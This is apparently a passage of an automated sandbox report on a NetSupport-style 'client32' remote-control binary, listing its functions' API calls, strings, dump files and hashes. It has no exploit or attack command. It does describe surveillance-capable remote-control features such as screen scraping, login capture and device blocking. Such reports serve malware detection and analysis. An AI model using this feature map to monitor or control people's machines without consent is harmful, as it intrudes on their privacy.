EnumWindows.USER32(Function_0002E710,00000000), ref: 1102F72C
Sleep.KERNEL32(00000014), ref: 1102F73C
Sleep.KERNEL32(?), ref: 1102F773

Part of subcall function 11026B80: _memset.LIBCMT ref: 11026BB5
Part of subcall function 11026B80: wsprintfA.USER32 ref: 11026BEA
Part of subcall function 11026B80: WaitForSingleObject.KERNEL32(?,000000FF), ref: 11026C2F
Part of subcall function 11026B80: GetExitCodeProcess.KERNEL32(?,?), ref: 11026C43
Part of subcall function 11026B80: CloseHandle.KERNEL32(?,?), ref: 11026C75
Part of subcall function 11026B80: CloseHandle.KERNEL32(?), ref: 11026C7E

Sleep.KERNEL32(0000000A), ref: 1102F78B
SendMessageA.USER32(?,00000010,00000000,00000000), ref: 1102F847

Strings

*ExitMetroDelay, xrefs: 1102F612
close new explorer wnd x%x, xrefs: 1102F80F
\Explorer.exe, xrefs: 1102F63A
Client, xrefs: 1102F617
No new explorer wnd, xrefs: 1102F753
"%sNSMExec.exe" %s, xrefs: 1102F6E5

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: SleepWindows$CloseEnumHandle$CodeDirectoryExitMessageObjectProcessSendSingleWait__wcstoi64_memsetwsprintf
String ID: "%sNSMExec.exe" %s$*ExitMetroDelay$Client$No new explorer wnd$\Explorer.exe$close new explorer wnd x%x
API String ID: 3887438110-1852639040
Opcode ID: 6e945e8ad443019e654b15b67e049bf7049c8843d49cb251ac38597ff630e1b7
Instruction ID: fccb9083fa6e288bb695f73796274cd7590cfa02bb95d1b93bba247e7dcc7a00
Opcode Fuzzy Hash: 6e945e8ad443019e654b15b67e049bf7049c8843d49cb251ac38597ff630e1b7
Instruction Fuzzy Hash: 1791AC75E0022A9FDB54CF64CC80BEEF7A5AF49358F5441ADD9099B240EB70AE41CB92

Function 1104F2D8 Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 235COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1104F34E
wsprintfA.USER32 ref: 1104F367
_memset.LIBCMT ref: 1104F3BD
GetTickCount.KERNEL32 ref: 1104F438

Strings

serial_no, xrefs: 1104F46C
Channel, xrefs: 1104F3D2
_License, xrefs: 1104F471
Client, xrefs: 1104F3D7
NameLookup, xrefs: 1104F42A, 1104F78C
Delay, xrefs: 1104F425, 1104F787
%s|%s, xrefs: 1104F35B

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick_malloc_memsetwsprintf
String ID: %s|%s$Channel$Client$Delay$NameLookup$_License$serial_no
API String ID: 476529905-1572471466
Opcode ID: ca7fc97896567c1f978747fa00b1f5c0e314cc63e1af649f67b0fbb7e76947d2
Instruction ID: 20ddcee4d1bc7712217354b168d0bfd2dc4cde43965b802a14daddc5ad8be1dc
Opcode Fuzzy Hash: ca7fc97896567c1f978747fa00b1f5c0e314cc63e1af649f67b0fbb7e76947d2
Instruction Fuzzy Hash: 2C8148B5E002564FDB10CB78CC88BEEBBF5AF45318F1482E9D859D7281EA31E941CB91

Function 110993D0 Relevance: 21.3, APIs: 1, Strings: 11, Instructions: 285timeCOMMON

Download Yara Rule

APIs

Part of subcall function 110C57C0: __strdup.LIBCMT ref: 110C57DA

Part of subcall function 110C5870: _free.LIBCMT ref: 110C589D

Part of subcall function 110C6420: wvsprintfA.USER32(?,?,?), ref: 110C644B

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

GetLocalTime.KERNEL32(?), ref: 110996E8

Strings

CLASSID=, xrefs: 110994CB
[JNL] MakeFileName ret %s, xrefs: 11099792
\/:*?"<>|, xrefs: 1109948F, 11099506
LESSON=, xrefs: 11099450
IsA(), xrefs: 11099575, 110995CF, 11099603, 11099658, 1109968C, 11099781
_%04d_%02d_%02d_%02d%02d, xrefs: 11099716
%s_, xrefs: 11099617
%s\, xrefs: 110995A3
_%s, xrefs: 110996A0
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 11099570, 110995CA, 110995FE, 11099653, 11099687, 1109977C
%s\%s, xrefs: 11099551

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastLocalMessageProcessTime__strdup_freewsprintfwvsprintf
String ID: %s\$%s\%s$%s_$CLASSID=$IsA()$LESSON=$[JNL] MakeFileName ret %s$\/:*?"<>|$_%04d_%02d_%02d_%02d%02d$_%s$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h
API String ID: 2014016395-1608741677
Opcode ID: 6ca9aad45367f76a0944e11dc61ab406c9dd12e77d36c841446f91c23c45e7e4
Instruction ID: addf530891e37868822e31691bf17d6718b8effada6f07c03448ee7c6713f98b
Opcode Fuzzy Hash: 6ca9aad45367f76a0944e11dc61ab406c9dd12e77d36c841446f91c23c45e7e4
Instruction Fuzzy Hash: C0B1AA79E0051AABDB25DB65CD50FEEF7B4AF58B08F4040D8E80963281EB317B44CEA5

Function 11109150 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 211registryCOMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 11109194
_free.LIBCMT ref: 11109178

Part of subcall function 11151665: HeapFree.KERNEL32(00000000,00000000,?,1115A186,00000000,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 1115167B
Part of subcall function 11151665: GetLastError.KERNEL32(00000000,?,1115A186,00000000,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 1115168D

RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Cursors,00000000,0002001F,?,00000000,?,?), ref: 111091D7
RegCloseKey.ADVAPI32(?,?,?), ref: 11109315
_free.LIBCMT ref: 11109323
SystemParametersInfoA.USER32(00000057,00000000,00000000,00000000), ref: 1110933F
_malloc.LIBCMT ref: 1110937C

Part of subcall function 111515D1: __FF_MSGBANNER.LIBCMT ref: 111515EA
Part of subcall function 111515D1: __NMSG_WRITE.LIBCMT ref: 111515F1
Part of subcall function 111515D1: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 11151616

RegSetValueExA.ADVAPI32(?,?,00000000,?,11182200,00000001), ref: 111093B8
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,00000002,?,?,?,?,?,?), ref: 111093F2
_free.LIBCMT ref: 11109403

Strings

.ani, xrefs: 111092C1
Control Panel\Cursors, xrefs: 111091BB

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$HeapValue$AllocateCloseErrorFreeInfoLastOpenParametersSystem_calloc_malloc
String ID: .ani$Control Panel\Cursors
API String ID: 918258518-1319880064
Opcode ID: c53165d656da7e753d8bb01dd9a1daddcdb0dc00f19b4d214db7b3aa82dc0232
Instruction ID: 70085561973be509b33fca5fb73cb0cd02be037bb32c9e1d27dc1538c435e597
Opcode Fuzzy Hash: c53165d656da7e753d8bb01dd9a1daddcdb0dc00f19b4d214db7b3aa82dc0232
Instruction Fuzzy Hash: 0F8192B1E0026D9FDB25CF24CD95BD9F7B5AB09308F1045E9E90DAB280E7709A84CF91

Function 110AB110 Relevance: 21.2, APIs: 3, Strings: 9, Instructions: 206COMMON

Download Yara Rule

APIs

Part of subcall function 11059580: __wcstoi64.LIBCMT ref: 110595BD

EnterCriticalSection.KERNEL32(000000FF,View,limitcolorbits,00000000,00000000,82E0FB89,?,?,00000000), ref: 110AB17D
UnionRect.USER32(?,?,?), ref: 110AB210
LeaveCriticalSection.KERNEL32(?), ref: 110AB36E

Strings

View, xrefs: 110AB14F
ScrapeBandwidthPeriod, xrefs: 110AB2EF
limitcolorbits, xrefs: 110AB142, 110AB1C3
ScrapeBandwidth, xrefs: 110AB2BC
ScrapeSkipDelay, xrefs: 110AB265
Client, xrefs: 110AB1C8, 110AB26A, 110AB287, 110AB2A4, 110AB2C1, 110AB2F4
$, xrefs: 110AB308
ScrapeBusyDelay, xrefs: 110AB282
ScrapeNotBusyDelay, xrefs: 110AB29F

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveRectUnion__wcstoi64
String ID: $$Client$ScrapeBandwidth$ScrapeBandwidthPeriod$ScrapeBusyDelay$ScrapeNotBusyDelay$ScrapeSkipDelay$View$limitcolorbits
API String ID: 3518726166-1273412197
Opcode ID: e3c3c332c56030bb27a1236354f52011bf6cdcdea50863d5a731ae696520c0ea
Instruction ID: a8670cac8e9aec6debf5f4417f5d7e546ceba16e81d257d7b5c14f0770091148
Opcode Fuzzy Hash: e3c3c332c56030bb27a1236354f52011bf6cdcdea50863d5a731ae696520c0ea
Instruction Fuzzy Hash: 08812774E016199FDB44CFA9D980BEDFBF5BB48304F10856AE915AB380DB30A941CF94

Function 1103D620 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 113windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000472), ref: 1103D64F

Part of subcall function 1114E020: SetPropA.USER32(00000000,00000000,00000000), ref: 1114E03E
Part of subcall function 1114E020: SetWindowLongA.USER32(00000000,000000FC,1114DA30), ref: 1114E04F

wsprintfA.USER32 ref: 1103D6C9
GetSystemMenu.USER32(?,00000000), ref: 1103D6EE
EnableMenuItem.USER32(00000000,0000F060,00000002), ref: 1103D6FC
SetWindowPos.USER32(00000000,00000001,00000000,00000000,00000000,00000000,00000003), ref: 1103D740
SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000003), ref: 1103D76F
MessageBeep.USER32(00000000), ref: 1103D773

Part of subcall function 11133F90: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11182A50), ref: 11133FFD
Part of subcall function 11133F90: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110291B), ref: 1113403E
Part of subcall function 11133F90: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 1113409B

Strings

%sblockapp.jpg, xrefs: 1103D6C3
BlockedAppFile, xrefs: 1103D6A0
Client, xrefs: 1103D6A5
e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 1103D718, 1103D74D
m_hWnd, xrefs: 1103D71D, 1103D752

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$FolderItemMenuPath$BeepEnableFileLongMessageModuleNamePropSystemwsprintf
String ID: %sblockapp.jpg$BlockedAppFile$Client$e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 2765991881-2812993818
Opcode ID: df56dbca2d5c7331c01273a47a7a69ca0b246c7bc76a6fcbc4a787e55cec9ec9
Instruction ID: 894e21e3321225be45fbf4b84cce46d9dcc057afdefe44a7cc44894c2f8d1d99
Opcode Fuzzy Hash: df56dbca2d5c7331c01273a47a7a69ca0b246c7bc76a6fcbc4a787e55cec9ec9
Instruction Fuzzy Hash: 7241A275B40715AFD321DBA4CC86FCAF3A5AB48B08F108559F65A6B2C1DAB0B980CF54

Function 110392A0 Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 352COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11039767

Strings

P, xrefs: 110396A6
Login name %s, xrefs: 11039702
Info. No logged on user for Register, xrefs: 11039673
DoRegisterUser, xrefs: 110392D3
@, xrefs: 110394D9
Error. Failed to get username for Register, e=%d, xrefs: 110396C1
StudentRegister, xrefs: 11039591

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset
String ID: @$DoRegisterUser$Error. Failed to get username for Register, e=%d$Info. No logged on user for Register$Login name %s$P$StudentRegister
API String ID: 2102423945-4086722448
Opcode ID: 22cbb9fb42798ebb7b2fd9b95911f0edbea0f32f4c9fa59db5531e7c095c1564
Instruction ID: 1d57743a9d44351fe37c7a7ceb1e13dab01037a573cd7346b174f6f956a17580
Opcode Fuzzy Hash: 22cbb9fb42798ebb7b2fd9b95911f0edbea0f32f4c9fa59db5531e7c095c1564
Instruction Fuzzy Hash: 2EE19D759106169FDBA1DF64CC84BDEB7B8AF85308F0085ADE51E97281EB70AE84CF50

Function 1100D200 Relevance: 19.6, APIs: 1, Strings: 12, Instructions: 50COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1100D271

Strings

CannotGetFunc, xrefs: 1100D22E
Unknown error %d, xrefs: 1100D267
RequiresVista, xrefs: 1100D219
StillInstances, xrefs: 1100D25F
Exception, xrefs: 1100D258, 1100D266
CannotLoadDll, xrefs: 1100D220
BadParam, xrefs: 1100D251
DllInitFailed, xrefs: 1100D227
AlreadyStopped, xrefs: 1100D23C
NoCapClients, xrefs: 1100D243
NotFound, xrefs: 1100D24A
AlreadyStarted, xrefs: 1100D235

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: AlreadyStarted$AlreadyStopped$BadParam$CannotGetFunc$CannotLoadDll$DllInitFailed$Exception$NoCapClients$NotFound$RequiresVista$StillInstances$Unknown error %d
API String ID: 2111968516-2092292787
Opcode ID: a62445a2f5b24e74ad1493caf88a761d0d6eb04853175cd6ce44690ba5ae0496
Instruction ID: d579ba34fa4a490cdb183746ff6a6ffdefa25787e89df8885af00e6879baa994
Opcode Fuzzy Hash: a62445a2f5b24e74ad1493caf88a761d0d6eb04853175cd6ce44690ba5ae0496
Instruction Fuzzy Hash: 4AF06C32AA821857AD0086EDB44443CF38C678066D7CCD1D2F58CEAF21E912CDA0AA99

Function 1101D0B0 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 217timeCOMMON

Download Yara Rule

APIs

EnableWindow.USER32(00000000,?), ref: 1101D10E
InvalidateRect.USER32(00000000,00000000,00000000), ref: 1101D148
DeleteObject.GDI32(?), ref: 1101D193
SetTimer.USER32(00000000,00000001,000002EE,00000000), ref: 1101D28C
SetWindowTextA.USER32(00000000,00000000), ref: 1101D255

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 1101D0F7, 1101D128, 1101D23E, 1101D26E, 1101D2E7, 1101D381
m_hWnd, xrefs: 1101D0FC, 1101D12D, 1101D243, 1101D273, 1101D2EC, 1101D386

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$DeleteEnableErrorExitInvalidateLastMessageObjectProcessRectTextTimerwsprintf
String ID: e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 2329730260-1557312927
Opcode ID: 495e5cdad597b9cdb94b14c15a770d57a151504633e1c97aa44e3dbf2d83e9b8
Instruction ID: c8a0ada2fc9048c31c9f756b7ea63b130b06c90983f76905bbf0c43349d37983
Opcode Fuzzy Hash: 495e5cdad597b9cdb94b14c15a770d57a151504633e1c97aa44e3dbf2d83e9b8
Instruction Fuzzy Hash: D8915BB9A00601AFD315DB55CC94FD6F3F6BF98318F1086A8EA5A4B285D770F881CB91

Function 1103B350 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 146COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1103B396
_memmove.LIBCMT ref: 1103B3A3

Strings

BLOCKPRINTINGPRINTER=*FILETYPES=BLOCK=1, xrefs: 1103B42B
SETOPTICALDRIVEACCESS, xrefs: 1103B3E4
IsA(), xrefs: 1103B454
SETOPTICALDRIVEACCESSACCESSMODES=%u, xrefs: 1103B3FF
BLOCKPRINTING, xrefs: 1103B40D
SETUSBMASSSTORAGEACCESS, xrefs: 1103B3B3
RESUMEPRINTINGPRINTER=*FILETYPES=, xrefs: 1103B432
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 1103B44F
SETUSBMASSSTORAGEACCESSACCESSMODES=%u, xrefs: 1103B3D6

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _malloc_memmove
String ID: BLOCKPRINTING$BLOCKPRINTINGPRINTER=*FILETYPES=BLOCK=1$IsA()$RESUMEPRINTINGPRINTER=*FILETYPES=$SETOPTICALDRIVEACCESS$SETOPTICALDRIVEACCESSACCESSMODES=%u$SETUSBMASSSTORAGEACCESS$SETUSBMASSSTORAGEACCESSACCESSMODES=%u$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h
